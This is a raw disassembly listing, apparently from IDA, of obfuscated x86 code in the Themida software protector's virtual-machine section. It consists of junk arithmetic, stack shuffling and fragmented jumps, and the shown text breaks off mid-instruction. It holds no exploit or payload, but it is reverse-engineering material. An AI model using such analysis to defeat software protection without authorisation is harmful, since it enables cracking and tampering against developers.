--------------------------------------------------------------------------- loc_551321: ; CODE XREF: Themida_:00572867j ; Themida_:00572871j ... pusha pushf cld call $+5 pop edi sub edi, 6287FE4h mov eax, edi add edi, 6287CFCh cmp eax, [edi+2Ch] jnz short loc_55133F jmp short loc_551352 ; --------------------------------------------------------------------------- loc_55133F: ; CODE XREF: Themida_:0055133Bj mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_55134E ; --------------------------------------------------------------------------- loc_551349: ; CODE XREF: Themida_:00551350j add [edi+ecx*4+40h], eax dec ecx loc_55134E: ; CODE XREF: Themida_:00551347j or ecx, ecx jnz short loc_551349 loc_551352: ; CODE XREF: Themida_:0055133Dj mov esi, [esp+24h] mov ebx, esi add esi, eax mov ecx, 1 loc_55135F: ; CODE XREF: Themida_:00551366j xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_55135F loc_551368: ; CODE XREF: Themida_:loc_5515D4j ; Themida_:005515E3j ... lodsb sub esp, 2 jmp loc_555F28 ; --------------------------------------------------------------------------- push ebp push 1C29h mov [esp], ecx push ebx push 46BD2CA2h pop ebx shr ebx, 7 jmp loc_55CF62 ; --------------------------------------------------------------------------- loc_55138C: ; CODE XREF: Themida_:00555E25j add esp, 4 pop eax add al, bl mov bx, [esp] jmp loc_55261C ; --------------------------------------------------------------------------- loc_55139E: ; CODE XREF: Themida_:00556148j sub ebp, 0B1519E0h jmp loc_557490 ; --------------------------------------------------------------------------- loc_5513A9: ; CODE XREF: Themida_:00554EAEj mov ebp, edx pop edx push 1D04h mov [esp], edx mov edx, 44483FFAh sub ebp, edx pop edx push edi mov edi, ebp jmp loc_55C1CB ; --------------------------------------------------------------------------- loc_5513C4: ; CODE XREF: Themida_:00557916j dec ebp dec ebp sub ebp, 1D658905h sub eax, ebp pop ebp sub eax, 57601672h add eax, ebx add eax, 57601672h add eax, 31167CB6h pop ebx sub esp, 4 jmp loc_55BD4A ; --------------------------------------------------------------------------- loc_5513E9: ; CODE XREF: Themida_:00558C6Cj push 4A0Ch mov [esp], eax push esp pop eax add eax, 4 push ebp mov ebp, 4 sub eax, 1BD6A4Ch add eax, ebp add eax, 1BD6A4Ch jmp loc_55526F ; --------------------------------------------------------------------------- mov ecx, [esp] push edx mov edx, esp add edx, 4 push edi jmp loc_556B4A ; --------------------------------------------------------------------------- push dword ptr [esp] jmp loc_5588A4 ; --------------------------------------------------------------------------- loc_551429: ; CODE XREF: Themida_:0055D2B3j mov [esp], cx jmp loc_55C31D ; --------------------------------------------------------------------------- loc_551432: ; CODE XREF: Themida_:00554AD7j push esi push ecx push 3B531BD8h pop ecx push edx mov edx, 3F0818BBh dec edx or edx, 52606A33h not edx inc edx and edx, 6CA33459h add edx, 20D50194h sub ecx, edx jmp loc_55A2FC ; --------------------------------------------------------------------------- loc_55145D: ; CODE XREF: Themida_:0055789Aj add ebp, 5179780Bh jmp loc_55CCE8 ; --------------------------------------------------------------------------- loc_551468: ; CODE XREF: Themida_:0055203Aj push 58DEh mov [esp], eax mov esi, [esp] push edi push esp pop edi jmp loc_55ADAA ; --------------------------------------------------------------------------- loc_55147B: ; CODE XREF: Themida_:0055190Ej sub esp, 4 mov [esp], esi push ecx mov ecx, 45D51C03h jmp loc_553312 ; --------------------------------------------------------------------------- loc_55148F: ; CODE XREF: Themida_:0055CFBAj push ebx push esp pop ebx push edx mov edx, 4 sub ebx, 69607F0Fh add ebx, edx sub esp, 4 mov [esp], ebp mov ebp, 169C1818h shr ebp, 6 add ebp, 35EB52B2h and ebp, 457853BCh xor ebp, 0F01233h dec ebp push edi mov edi, 6DD02E2Dh xor ebp, edi pop edi add ebx, ebp pop ebp pop edx jmp loc_5592FC ; --------------------------------------------------------------------------- loc_5514D6: ; CODE XREF: Themida_:00557AF2j mov [esp], eax push eax jmp loc_55A6B2 ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 mov [esp], edx mov edx, esp jmp loc_556D7D ; --------------------------------------------------------------------------- loc_5514F0: ; CODE XREF: Themida_:005529ACj pop ecx dec esi sub esi, 46C94DA7h jmp loc_554E62 ; --------------------------------------------------------------------------- loc_5514FD: ; CODE XREF: Themida_:0055D348j push dword ptr [esp] pop ebp add esp, 4 jmp loc_553182 ; --------------------------------------------------------------------------- loc_55150C: ; CODE XREF: Themida_:0055552Aj push edi jmp loc_554760 ; --------------------------------------------------------------------------- loc_551512: ; CODE XREF: Themida_:0055B9FAj push ebx mov ebx, 625F36F6h xor ebx, 1A870513h mov eax, ebx pop ebx inc eax jmp loc_557CB9 ; --------------------------------------------------------------------------- loc_551527: ; CODE XREF: Themida_:00556888j add esi, ecx pop ecx add edx, esi pop esi push ecx push 40F82716h pop ecx xor edx, ecx pop ecx sub eax, edx jmp loc_555CD9 ; --------------------------------------------------------------------------- loc_55153E: ; CODE XREF: Themida_:0055CD42j push ebp mov ebp, 40655CC0h add ebp, 31693B79h not ebp and ebp, 678A1C61h sub ebp, 72307C8h xor ebp, 0FEDCFC7Ch add edi, ebp pop ebp jmp loc_55B364 ; --------------------------------------------------------------------------- loc_551566: ; CODE XREF: Themida_:0055C442j xor ecx, 45BD5290h or ecx, 599B54DCh add ecx, 730701D1h xor ecx, 53BA444Ch jmp loc_55AABA ; --------------------------------------------------------------------------- loc_551583: ; CODE XREF: Themida_:00559AA7j pop esp mov [esp], edi mov edi, 34DA6212h jmp loc_554194 ; --------------------------------------------------------------------------- mov cx, [esp] push 3D1Bh jmp loc_55A895 ; --------------------------------------------------------------------------- loc_55159F: ; CODE XREF: Themida_:00556377j mov ebx, 6EC06771h push ebp push edi push 3A913F95h pop edi neg edi not edi shr edi, 5 xor edi, 1DCBFF22h mov ebp, edi pop edi push eax mov eax, 0FF52360h jmp loc_5550DE ; --------------------------------------------------------------------------- loc_5515C7: ; CODE XREF: Themida_:00559E02j push 418B675Ah mov ebx, [esp] jmp loc_55AD24 ; --------------------------------------------------------------------------- loc_5515D4: ; CODE XREF: Themida_:0055684Fj jmp loc_551368 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcl dword ptr [esp], cl pushf jmp loc_551368 ; --------------------------------------------------------------------------- loc_5515E8: ; CODE XREF: Themida_:00559847j add eax, 4 add eax, 4 push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] mov esp, [esp] push edx mov edx, esp jmp loc_55BE44 ; --------------------------------------------------------------------------- loc_551606: ; CODE XREF: Themida_:00554830j movzx eax, al pop small word ptr [edi+eax*4] jmp loc_551368 ; --------------------------------------------------------------------------- loc_551612: ; CODE XREF: Themida_:0055B5C9j not eax push eax push dword ptr [esp+4] jmp loc_552B97 ; --------------------------------------------------------------------------- loc_55161E: ; CODE XREF: Themida_:00558321j mov esi, 3CF17D71h push edi mov edi, 0F1664BEh neg edi dec edi or edi, 49C82D23h push eax mov eax, 0C518C20Eh xor edi, eax pop eax sub esi, edi pop edi add edi, esi pop esi push ecx mov ecx, 2 add edi, ecx pop ecx push 1174h mov [esp], edi push dword ptr [esp+4] push dword ptr [esp] jmp loc_55BAEC ; --------------------------------------------------------------------------- loc_55165E: ; CODE XREF: Themida_:005522EAj mov ebx, 2 add eax, ebx pop ebx push 1A7Ch mov [esp], eax push dword ptr [esp+4] pop eax pop dword ptr [esp] mov esp, [esp] jmp loc_555E6A ; --------------------------------------------------------------------------- loc_55167E: ; CODE XREF: Themida_:0055AFE6j add ebp, 2 push ebx mov ebx, esp jmp loc_558835 ; --------------------------------------------------------------------------- loc_551689: ; CODE XREF: Themida_:00558200j pop ebp not ebp xor ebp, 86FB80FAh sub esi, ebp pop ebp pop ecx push 0 push dword ptr [esp] jmp loc_552A5C ; --------------------------------------------------------------------------- loc_5516A3: ; CODE XREF: Themida_:005550EDj jmp loc_551368 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax adc [esp], al pushf jmp loc_551368 ; --------------------------------------------------------------------------- loc_5516B7: ; CODE XREF: Themida_:0055715Ej mov ecx, [esp] add esp, 4 jmp loc_559FF3 ; --------------------------------------------------------------------------- loc_5516C5: ; CODE XREF: Themida_:005530DDj sub ebx, 54EB2052h add ebx, 0E6C3A93Ah add ecx, ebx mov ebx, [esp] jmp loc_556E17 ; --------------------------------------------------------------------------- loc_5516DB: ; CODE XREF: Themida_:0055BF0Bj sub edx, 5F6839A0h jmp loc_55C5F1 ; --------------------------------------------------------------------------- loc_5516E6: ; CODE XREF: Themida_:00558178j xor ebx, 42ED4135h xor ebx, 74B6AA97h add edi, ebx pop ebx jmp loc_55C163 ; --------------------------------------------------------------------------- loc_5516FA: ; CODE XREF: Themida_:0055C331j add ebp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] sub al, 0D2h add al, ch add al, 0D2h pop cx sub al, 92h sub al, 30h add al, bl add al, 30h add al, 92h sub al, 8Dh sub esp, 4 mov [esp], edx mov dl, 0A2h push ecx mov ch, 0DEh push ax push bx jmp loc_55CEAB ; --------------------------------------------------------------------------- loc_551737: ; CODE XREF: Themida_:0055C671j push edx mov dh, 79h shr dh, 3 xor dh, 3Fh not dh add dh, 0C1h shl dh, 5 not dh sub dh, 1Eh jmp loc_554900 ; --------------------------------------------------------------------------- loc_551752: ; CODE XREF: Themida_:00556A99j pop edi add esp, 4 shr ecx, 3 not ecx jmp loc_558ADA ; --------------------------------------------------------------------------- loc_551760: ; CODE XREF: Themida_:005573C1j mov edi, esp jmp loc_553C61 ; --------------------------------------------------------------------------- loc_551767: ; CODE XREF: Themida_:00553EF1j pop cx push dword ptr [esp] pop esi add esp, 4 xor ax, dx pop dx jmp loc_552BB8 ; --------------------------------------------------------------------------- loc_55177D: ; CODE XREF: Themida_:0055CFE8j push esp jmp loc_557D3A ; --------------------------------------------------------------------------- loc_551783: ; CODE XREF: Themida_:0055A4D8j mov ebx, 6AB73F9Dh not ebx neg ebx or ebx, 41DB62C2h jmp loc_5575B2 ; --------------------------------------------------------------------------- loc_551797: ; CODE XREF: Themida_:00558042j sub esp, 4 mov [esp], esi push 25672BFh jmp loc_553F27 ; --------------------------------------------------------------------------- loc_5517A7: ; CODE XREF: Themida_:00554976j add ch, 8Ah pop ax sub al, ch mov ecx, [esp] jmp loc_553911 ; --------------------------------------------------------------------------- loc_5517B6: ; CODE XREF: Themida_:0055CCA5j pop edx push 7EBEh jmp loc_558397 ; --------------------------------------------------------------------------- loc_5517C1: ; CODE XREF: Themida_:00557D18j push cx pushf jmp loc_551368 ; --------------------------------------------------------------------------- mov ax, [esp] push 503Eh mov [esp], ebp push 57D7h mov [esp], esp push edi mov edi, 4 add [esp+4], edi pop edi jmp loc_55803C ; --------------------------------------------------------------------------- loc_5517ED: ; CODE XREF: Themida_:0055AC0Bj mov ecx, esi pop esi shr ecx, 6 dec ecx not ecx xor ecx, 0FE539AB8h mov ebx, ecx pop ecx add ecx, ebx pop ebx add ecx, 2 jmp loc_555DA2 ; --------------------------------------------------------------------------- loc_55180D: ; CODE XREF: Themida_:0055553Fj mov ebx, 4 sub esi, 2D65327Fh add esi, ebx add esi, 2D65327Fh jmp loc_55C78A ; --------------------------------------------------------------------------- loc_551825: ; CODE XREF: Themida_:0055A44Aj pop esp jmp loc_55439A ; --------------------------------------------------------------------------- loc_55182B: ; CODE XREF: Themida_:0055C37Ej sub ecx, edi pop edi and eax, ecx mov ecx, [esp] jmp loc_55B4C3 ; --------------------------------------------------------------------------- mov cx, [esp] push edx push esp pop edx push ecx mov ecx, 283C769Ah push esi mov esi, 314A0B49h jmp loc_55683A ; --------------------------------------------------------------------------- loc_551850: ; CODE XREF: Themida_:00553416j mov edi, 4 jmp loc_554A26 ; --------------------------------------------------------------------------- loc_55185A: ; CODE XREF: Themida_:0055CA0Ej sub esi, 52166E71h jmp loc_55AEFE ; --------------------------------------------------------------------------- loc_551865: ; CODE XREF: Themida_:0055CE14j pop edi xor ecx, edi pop edi push eax push ecx mov ecx, 40940B34h jmp loc_553939 ; --------------------------------------------------------------------------- loc_551875: ; CODE XREF: Themida_:005571A2j push 699Ch jmp loc_55B448 ; --------------------------------------------------------------------------- loc_55187F: ; CODE XREF: Themida_:0055A7ECj mov [esp], esi push dword ptr [esp+4] jmp loc_559677 ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_55BA93 ; --------------------------------------------------------------------------- loc_551894: ; CODE XREF: Themida_:0055B921j add edi, 70860764h std push ebp jmp loc_55C9D1 ; --------------------------------------------------------------------------- loc_5518A1: ; CODE XREF: Themida_:00559581j push small 6B1Bh mov [esp], dx jmp loc_5586CF ; --------------------------------------------------------------------------- loc_5518AE: ; CODE XREF: Themida_:00553E7Bj add ebp, ecx pop ecx sub ebx, ebp mov ebp, [esp] push ebp jmp loc_55937D ; --------------------------------------------------------------------------- loc_5518BC: ; CODE XREF: Themida_:00558230j xchg eax, [esp] pop esp div ecx jmp loc_557BA5 ; --------------------------------------------------------------------------- loc_5518C7: ; CODE XREF: Themida_:0055CE2Bj mov ebp, 44F62A43h add [esp+8], ebp pop ebp pop ecx mov edi, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp add edi, 4 add edi, 2 sub esp, 4 mov [esp], edi push dword ptr [esp+4] jmp loc_55BF10 ; --------------------------------------------------------------------------- loc_551900: ; CODE XREF: Themida_:005546C8j pop eax add esp, 4 loc_551904: ; CODE XREF: Themida_:00552E1Fj sub esp, 4 mov [esp], esi push ebx jmp loc_55147B ; --------------------------------------------------------------------------- loc_551913: ; CODE XREF: Themida_:0055C6E9j mov ecx, 4 push 60CCh mov [esp], ebp mov ebp, 403D15FBh sub edx, ebp jmp loc_5522A7 ; --------------------------------------------------------------------------- loc_55192C: ; CODE XREF: Themida_:0055A8DFj add edi, 4 xchg edi, [esp] pop esp or ebx, ebx jnz loc_551CB3 sub esp, 4 mov [esp], edx xor dword ptr [esp], 429B78D1h jmp loc_5524F3 ; --------------------------------------------------------------------------- loc_551950: ; CODE XREF: Themida_:00554D45j mov [esp], esi push ebx mov ebx, 0BA3579Bh push 570Ch mov [esp], edx push ebp mov ebp, 62A2F25h neg ebp add ebp, 3B7306C0h add ebp, 33947A10h not ebp dec ebp sub ebp, 8B7F55BAh jmp loc_55CAA9 ; --------------------------------------------------------------------------- loc_551983: ; CODE XREF: Themida_:005560E3j push ecx mov ecx, 6E3D6641h jmp loc_55BC83 ; --------------------------------------------------------------------------- loc_55198E: ; CODE XREF: Themida_:00556F12j add ebp, 4 add ebp, 4 jmp loc_55A4DD ; --------------------------------------------------------------------------- lodsb push ebp mov ebp, esp add ebp, 4 sub ebp, 2 jmp loc_55D2AF ; --------------------------------------------------------------------------- loc_5519AE: ; CODE XREF: Themida_:005598A0j mov esp, [esp] jmp loc_551368 ; --------------------------------------------------------------------------- loc_5519B6: ; CODE XREF: Themida_:0055727Dj mov ecx, 6CA62E26h sub ecx, 56A90805h jmp loc_55B8A3 ; --------------------------------------------------------------------------- loc_5519C6: ; CODE XREF: Themida_:0055C3A1j mov ebp, esp add ebp, 4 jmp loc_558D2E ; --------------------------------------------------------------------------- loc_5519D3: ; CODE XREF: Themida_:00555522j or ebp, 49B26F3h push ecx jmp loc_553E76 ; --------------------------------------------------------------------------- loc_5519DF: ; CODE XREF: Themida_:00559523j push ebx mov ebx, 302E65C7h mov edi, 302E65CBh sub edi, ebx jmp loc_554672 ; --------------------------------------------------------------------------- loc_5519F1: ; CODE XREF: Themida_:00559128j shr dl, 8 add dl, 0F1h not dl sub dl, 38h add dl, 4 sub ch, dl pop edx add al, ch pop ecx push eax mov eax, esp add eax, 4 sub eax, 4 jmp loc_55A6E6 ; --------------------------------------------------------------------------- loc_551A17: ; CODE XREF: Themida_:00554588j mov edi, [esp] add esp, 4 push dword ptr [esp] mov eax, [esp] add esp, 4 push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp xor eax, 396A2Dh sub esp, 4 jmp loc_55BB89 ; --------------------------------------------------------------------------- loc_551A46: ; CODE XREF: Themida_:005550D9j pop edi add edx, ebp push ebx push esi mov esi, 35BC492Dh push ebx push esi mov esi, 79E359Eh mov ebx, esi pop esi xor esi, ebx jmp loc_554315 ; --------------------------------------------------------------------------- loc_551A61: ; CODE XREF: Themida_:0055B4D8j dec ecx push edx mov edx, 10DB0BD4h neg edx and edx, 607B46B3h shl edx, 6 add edx, 0BA9EB4D8h add ecx, edx pop edx jmp loc_5588F9 ; --------------------------------------------------------------------------- loc_551A81: ; CODE XREF: Themida_:00559ABBj sub bl, 0Bh sub bl, cl jmp loc_554942 ; --------------------------------------------------------------------------- loc_551A8B: ; CODE XREF: Themida_:0055BBDEj sub ecx, 611E0425h add ecx, ebx add ecx, 611E0425h pop ebx add ecx, 4 xchg ecx, [esp] jmp loc_553EB7 ; --------------------------------------------------------------------------- loc_551AA8: ; CODE XREF: Themida_:00557112j add esp, 4 push 6D32h mov [esp], ecx mov ecx, 4 add edx, 1AF07135h add edx, ecx push eax mov eax, 1C444CC3h or eax, 413D0EADh inc eax add eax, 141156C3h dec eax xor eax, 6B7ED487h sub edx, eax pop eax pop ecx add edx, 2 xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] idiv cx push small 421Dh mov [esp], dx push ax pushf jmp loc_553BF4 ; --------------------------------------------------------------------------- loc_551B00: ; CODE XREF: Themida_:00554324j mov [esp], cx mov cl, 0E3h sub bl, cl pop cx movzx eax, al push dword ptr [edi+eax*4] push dword ptr [esp] jmp loc_559970 ; --------------------------------------------------------------------------- loc_551B18: ; CODE XREF: Themida_:0055AC2Bj add edx, 2 jmp loc_559F8B ; --------------------------------------------------------------------------- loc_551B23: ; CODE XREF: Themida_:005590ADj sub edx, 26832507h sub edx, ebx jmp loc_558DDC ; --------------------------------------------------------------------------- loc_551B30: ; CODE XREF: Themida_:0055A6BFj pop esp mov [esp], ecx mov ch, dl mov ah, ch pop ecx mov bh, ah pop eax mov [edi+eax*4+1], bh mov ebx, [esp] sub esp, 4 mov [esp], eax mov eax, esp add eax, 4 add eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] jmp loc_5554D2 ; --------------------------------------------------------------------------- loc_551B66: ; CODE XREF: Themida_:0055D002j inc ecx add ecx, 46DCB400h sub eax, ecx pop ecx jmp loc_55B039 ; --------------------------------------------------------------------------- loc_551B75: ; CODE XREF: Themida_:005597A3j push ebp mov ebp, esp add ebp, 4 sub esp, 4 mov [esp], esi mov esi, 54FC2E45h jmp loc_55BFCF ; --------------------------------------------------------------------------- loc_551B8E: ; CODE XREF: Themida_:00553660j mov [esp], eax jmp loc_555459 ; --------------------------------------------------------------------------- loc_551B96: ; CODE XREF: Themida_:00558154j mov edi, [esp] jmp loc_55477A ; --------------------------------------------------------------------------- loc_551B9E: ; CODE XREF: Themida_:0055D134j add ecx, 0E38223F3h and eax, ecx jmp loc_557B34 ; --------------------------------------------------------------------------- loc_551BAB: ; CODE XREF: Themida_:005581B2j mov [esp], edx mov edx, esp jmp loc_553C2D ; --------------------------------------------------------------------------- loc_551BB5: ; CODE XREF: Themida_:005544AEj inc ebx or ebx, 459E54B6h inc ebx inc ebx shr ebx, 6 xor ebx, 11EF9DAh jmp loc_552B2C ; --------------------------------------------------------------------------- loc_551BCC: ; CODE XREF: Themida_:005581A9j add eax, 1B3C4602h jmp loc_55551F ; --------------------------------------------------------------------------- loc_551BD6: ; CODE XREF: Themida_:0055277Bj add ebp, 4 xchg ebp, [esp] jmp loc_55302B ; --------------------------------------------------------------------------- loc_551BE1: ; CODE XREF: Themida_:0055A0C6j shr ecx, 6 neg ecx sub ecx, 0D5E26005h mov ebx, ecx jmp loc_55C702 ; --------------------------------------------------------------------------- loc_551BF3: ; CODE XREF: Themida_:00556609j push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] mul cx push small 45BEh mov [esp], dx push ax pushf jmp loc_551368 ; --------------------------------------------------------------------------- loc_551C11: ; CODE XREF: Themida_:005540D2j add esi, 4 add esi, 4 xchg esi, [esp] pop esp xchg ecx, [esp] mov esp, [esp] shl byte ptr [esp], cl pushf jmp loc_551368 ; --------------------------------------------------------------------------- loc_551C30: ; CODE XREF: Themida_:00559099j sub ebp, ecx mov ecx, [esp] push ebx mov ebx, esp jmp loc_5521D5 ; --------------------------------------------------------------------------- loc_551C3D: ; CODE XREF: Themida_:0055758Cj push esi pop ebp jmp loc_5550B6 ; --------------------------------------------------------------------------- loc_551C44: ; CODE XREF: Themida_:00559E9Bj sub bl, al sub bl, 44h jmp loc_554329 ; --------------------------------------------------------------------------- loc_551C4E: ; CODE XREF: Themida_:00558748j sub esp, 4 mov [esp], esi push 134Fh push esp pop dword ptr [esp] add dword ptr [esp], 4 push dword ptr [esp] pop esi add esp, 4 add esi, 4 push ecx mov ecx, 2 sub esi, 76700F19h add esi, ecx add esi, 76700F19h jmp loc_55C94E ; --------------------------------------------------------------------------- loc_551C8A: ; CODE XREF: Themida_:0055988Aj sub esp, 4 mov [esp], ebp mov ebp, 6C8D2616h push edi mov edi, 7FBB7707h add edi, 5A15739h dec edi shr edi, 5 xor edi, 1DBCDD71h jmp loc_556E90 ; --------------------------------------------------------------------------- loc_551CB3: ; CODE XREF: Themida_:00551935j shr edx, 1 cmp eax, edx jz loc_55B5E3 sub esp, 4 mov [esp], esi push edx push 5627357Dh pop edx xor edx, 5627357Dh mov esi, edx pop edx jmp loc_55A95F ; --------------------------------------------------------------------------- loc_551CDB: ; CODE XREF: Themida_:0055B1B3j mov [esp], ebx mov bh, 55h xor bh, 0CCh xor bh, 9 jmp loc_55C64A ; --------------------------------------------------------------------------- loc_551CEB: ; CODE XREF: Themida_:00558B91j mov [esp], edx mov edx, esp push eax mov eax, 72160A87h or eax, 1D0016AAh dec eax push ebp mov ebp, 2F342B07h xor ebp, 0D872537h jmp loc_553700 ; --------------------------------------------------------------------------- loc_551D0D: ; CODE XREF: Themida_:005538E5j mov [ebx], esi pop ebx mov esi, [esp] jmp loc_55B5E0 ; --------------------------------------------------------------------------- loc_551D18: ; CODE XREF: Themida_:0055A569j sub edi, 3FA24505h not edi add edi, 0D77EACDEh jmp loc_556560 ; --------------------------------------------------------------------------- loc_551D2B: ; CODE XREF: Themida_:005525C3j sub ecx, ebp pop ebp jmp loc_5597A8 ; --------------------------------------------------------------------------- push dword ptr [edi+2Ch] jmp loc_551368 ; --------------------------------------------------------------------------- loc_551D3B: ; CODE XREF: Themida_:00556D1Ej shr edi, 4 push ebx push 78BA01DBh mov ebx, [esp] add esp, 4 jmp loc_5588EB ; --------------------------------------------------------------------------- loc_551D52: ; CODE XREF: Themida_:005538F1j and eax, 2CCF0473h sub eax, 0C8D0071h add ebx, eax pop eax xchg ebx, [esp] pop esp jmp loc_55C07B ; --------------------------------------------------------------------------- loc_551D68: ; CODE XREF: Themida_:00557FEFj add esp, 4 and ecx, ebx jmp loc_5523BD ; --------------------------------------------------------------------------- loc_551D75: ; CODE XREF: Themida_:00556859j pop edx jmp loc_55B148 ; --------------------------------------------------------------------------- loc_551D7B: ; CODE XREF: Themida_:0055680Aj dec bl add bl, 3 mov ch, bl jmp loc_556FE8 ; --------------------------------------------------------------------------- loc_551D87: ; CODE XREF: Themida_:00557C6Fj add esp, 4 add bl, 0EAh sub bl, 3Ch sub bl, al push edx jmp loc_559FC2 ; --------------------------------------------------------------------------- loc_551D9B: ; CODE XREF: Themida_:0055B856j mov esp, [esp] push dword ptr [esp] mov eax, [esp] jmp loc_5598D7 ; --------------------------------------------------------------------------- loc_551DA9: ; CODE XREF: Themida_:0055D295j mov ch, 34h jmp loc_55C875 ; --------------------------------------------------------------------------- loc_551DB0: ; CODE XREF: Themida_:0055C9F8j push 651E1C30h push dword ptr [esp] pop ebp add esp, 4 shr ebp, 8 sub ebp, 1 jmp loc_553284 ; --------------------------------------------------------------------------- loc_551DCD: ; CODE XREF: Themida_:0055647Fj or cl, 39h and cl, 1Dh shl cl, 1 inc cl add cl, 0E9h add al, cl jmp loc_555573 ; --------------------------------------------------------------------------- loc_551DE1: ; CODE XREF: Themida_:005543E5j xor [esp], esi xor esi, [esp] pop esp sub bl, 0B0h add bl, al jmp loc_55431B ; --------------------------------------------------------------------------- loc_551DF2: ; CODE XREF: Themida_:00553D3Ej neg ch inc ch xor ch, 0E3h sub ch, 0DDh jmp loc_55A624 ; --------------------------------------------------------------------------- loc_551E01: ; CODE XREF: Themida_:0055391Cj add al, dh pop edx push dword ptr [esp] pop edx jmp loc_555715 ; --------------------------------------------------------------------------- loc_551E0D: ; CODE XREF: Themida_:0055B1E4j inc dl sub dl, 0Ah sub dl, 5Eh mov ch, dl pop edx xchg al, ch inc al jmp loc_558376 ; --------------------------------------------------------------------------- loc_551E21: ; CODE XREF: Themida_:00554EC9j pop esp movsx ecx, ax jmp loc_555A7B ; --------------------------------------------------------------------------- loc_551E2A: ; CODE XREF: Themida_:00554DA9j add esp, 4 sub eax, ecx jmp loc_554916 ; --------------------------------------------------------------------------- loc_551E37: ; CODE XREF: Themida_:005598F3j add ebp, esi sub ebp, 5CF9727Ch sub ebp, 6AD75ABAh mov esi, [esp] push 5BF7h mov [esp], ebp mov ebp, esp push ecx mov ecx, 4 add ebp, ecx jmp loc_55277A ; --------------------------------------------------------------------------- loc_551E5F: ; CODE XREF: Themida_:0055957Aj sub edi, 4BFC59FEh jmp loc_551E89 ; --------------------------------------------------------------------------- loc_551E6A: ; CODE XREF: Themida_:00554B93j push ebx push ecx mov ecx, 10B82BF3h jmp loc_552D12 ; --------------------------------------------------------------------------- loc_551E76: ; CODE XREF: Themida_:005545CFj xor edx, ecx push ebx mov ebx, 0 sub ebx, 6BAD1390h jmp loc_554464 ; --------------------------------------------------------------------------- loc_551E89: ; CODE XREF: Themida_:00551E65j sub edi, eax jmp loc_558763 ; --------------------------------------------------------------------------- loc_551E90: ; CODE XREF: Themida_:005572ECj mov edx, 4942770Ah sub edx, 0D0E6F37h shr edx, 1 add edx, 0E1E5FC1Bh mov eax, edx pop edx add esi, eax pop eax sub esp, 4 mov [esp], ebx mov ebx, 2 add esi, ebx jmp loc_5577AA ; --------------------------------------------------------------------------- loc_551EBB: ; CODE XREF: Themida_:00552670j and bl, 89h jmp loc_55BE4F ; --------------------------------------------------------------------------- loc_551EC3: ; CODE XREF: Themida_:005550C4j sub [esp], ebp mov ebp, [esp] add esp, 4 xor ebp, 58216CABh and ebp, 707E1EFCh push 7E85h mov [esp], eax mov eax, 7AB23AEBh inc eax shr eax, 1 jmp loc_55AFEB ; --------------------------------------------------------------------------- loc_551EF0: ; CODE XREF: Themida_:0055BEBAj mov esp, [esp] mov [esp], esp add dword ptr [esp], 4 mov eax, [esp] add esp, 4 jmp loc_559BDB ; --------------------------------------------------------------------------- loc_551F05: ; CODE XREF: Themida_:005526A0j sub al, 0DDh push ebx push eax mov al, 0EEh mov bh, al pop eax jmp loc_554593 ; --------------------------------------------------------------------------- loc_551F13: ; CODE XREF: Themida_:0055B3F4j sub esp, 4 mov [esp], edx add dword ptr [esp], 59527629h pop ebx sub ebx, 59527629h pop edx add eax, 31C7373h jmp loc_55A3F1 ; --------------------------------------------------------------------------- loc_551F32: ; CODE XREF: Themida_:00552655j pop esi jmp loc_557A94 ; --------------------------------------------------------------------------- loc_551F38: ; CODE XREF: Themida_:005570B5j mov [esp], edi push esi mov esi, 23D16FDDh mov edi, 38BD9B41h jmp loc_554484 ; --------------------------------------------------------------------------- loc_551F4B: ; CODE XREF: Themida_:00556055j push 74174F47h mov ecx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 push ebx jmp loc_557F10 ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_5540EE ; --------------------------------------------------------------------------- loc_551F6E: ; CODE XREF: Themida_:0055453Dj mov edx, 4 add edi, edx pop edx xchg edi, [esp] pop esp push edi jmp loc_556503 ; --------------------------------------------------------------------------- loc_551F80: ; CODE XREF: Themida_:0055742Cj pop edx add bl, al sub bl, 0Ah jmp loc_558771 ; --------------------------------------------------------------------------- loc_551F8B: ; CODE XREF: Themida_:005596B5j mov ebp, 65065B1Bh jmp loc_5548EB ; --------------------------------------------------------------------------- loc_551F95: ; CODE XREF: Themida_:00558A98j mov edi, esp add edi, 4 jmp loc_555C0F ; --------------------------------------------------------------------------- loc_551FA2: ; CODE XREF: Themida_:00553951j add esi, ecx push ebp jmp loc_5581FB ; --------------------------------------------------------------------------- loc_551FAA: ; CODE XREF: Themida_:00553E5Dj mov bl, dl mov ch, bl pop ebx pop edx mov bl, ch jmp loc_559B8D ; --------------------------------------------------------------------------- loc_551FB7: ; CODE XREF: Themida_:0055962Ej xor [esp], edx xor edx, [esp] jmp loc_55CC64 ; --------------------------------------------------------------------------- loc_551FC2: ; CODE XREF: Themida_:00554254j mov [esp], eax xor [esp], ebx xor ebx, [esp] xor [esp], ebx not ebx jmp loc_55BFC2 ; --------------------------------------------------------------------------- loc_551FD5: ; CODE XREF: Themida_:00555D1Dj xor esi, 0AC899B84h add edx, esi pop esi add edx, 2 push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] mov esp, [esp] jmp loc_5534F8 ; --------------------------------------------------------------------------- loc_551FF5: ; CODE XREF: Themida_:00552998j and ecx, 493A6183h add ecx, 0B096E4Dh sub ecx, 0F0E9F29h add esi, ecx pop ecx add esi, ebx sub esi, 3C0B10A7h pop ebx add esi, 4 jmp loc_554D4A ; --------------------------------------------------------------------------- loc_55201E: ; CODE XREF: Themida_:00559798j mov edi, [esp] add esp, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], ebx sub esp, 4 mov [esp], esi jmp loc_551468 ; --------------------------------------------------------------------------- loc_55203F: ; CODE XREF: Themida_:0055B430j push eax mov ah, 0B1h push edx mov dl, 69h and dl, 0E3h inc dl jmp loc_557506 ; --------------------------------------------------------------------------- mov 